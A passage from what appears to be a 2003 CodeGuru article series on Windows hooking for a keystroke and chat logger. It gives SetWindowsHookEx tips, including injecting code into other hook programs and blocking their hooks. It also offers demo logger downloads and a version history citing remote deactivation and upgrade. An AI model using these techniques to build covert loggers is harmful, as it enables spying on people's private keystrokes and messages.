    Deduction (Side Product): Terminate the other hook program’s hook by calling SetWindowsHookEx for them after injecting your code into their process space. (Oh, man, I just returned back from the cinema after seeing “Terminator III” for the first time just now.)

  6. Remember to pass control down to the hook chain like this:
  7. if(nCode < 0)
      return CallNextHookEx(g_hHook, nCode, wParam, lParam);
    

    Deduction (Side Product): Prohibit the other hook program’s hook by calling SetWindowsHookEx later than them and refuse to pass control back to the hook chain. Definitely by doing this, you may affect all hooks below yours, which leads to unknown effect. Take care.

What Is Coming Soon

Due to the length of the article, I have to cut it into several sub articles to post here. I anticipate presenting MSN (4.5-5.0) hooking in the following parts of this serial, and we will review the IE hooking. We will continue to check the MSN 6.0 hook tech and various anti-hook (detection) techs in the these sub articles. Please make sure you install the Unicode library with Visual Studio because all settings are in Unicode, plus the Platform SDK and XML Parser SDK. I hope you do not make a compile or link error-type comment in the below because it is meaningless. I will put the list of references (printed material name, URL and so on) in later sub articles to average the sub articles’ length.

By the way, your have to launch the logger program first because I need to get the WM_CREATE message to start hooking individual target windows; otherwise, I have to EnumWindow on all existing windows on the desktop when I start up, which is impractical for the time needed.

Acknowledgements

I would like to express my thanks to the following persons and institutions:

Tokyo Denki Univ., for their academic direction, warm-hearted help, continuous encouragements in my career life, and generous budget approval on endless printed material and software purchases during my graduate study there.

Mr Aita and FujiSoftware ABC Ltd. for the senior position and excellent working environment offered.

Business Intelligence Dept, Microsoft Corp, Redmond, WA for the joint research project on MS Excel, where I hook up Excel with Dual-Hook to obtain special a GUI effect.

Michael, my current colleague in the R&D Dept, for answering my various strange (if not weird or crazy) question on Win32 system, COM/COM+, .Net, and so forth. It is a pity he is too busy to contribute articles here, but it is really my luck working with a small group of geniuses.

Mr. Paul DiLascia, author of C++ Q/A June 2001 MSDN Magazine for patiently answering my IE dynamic hooking-related programming questions.

Special thanks to Ms. Susan Moore, editor of www.CodeGuru.com, for her help and patience of re-formatting my article.

Downloads

Download Demo Project Source (including exe) – 346 Kb
Download Demo Exe File Only (exe Only, MFC DLL dynamic linked) – 96 Kb

Version History

Version Release Date Features
  July 2, 2003 Article Writing
  Apr 2003 Read news on ESecurity online report on current boom of logger. Decided to write something, busy…
  Sept 6, 2002 Remote Deactivate (Self Terminated), go. Test OK.
1.0 Aug 6, 2002 Asian language support added, full-got. Remote upgrade OK.
0.9 July 28, 2002 Launch with a launcher, go, half-got.
0.7 July 24, 2002 Dual Hook implemented for Edit/MSN, GUI Client Ready
0.1 Oct 31, 2001 Proof of Concept, busy…

More by Author

Get the Free Newsletter!

Subscribe to Developer Insider for top news, trends & analysis

Must Read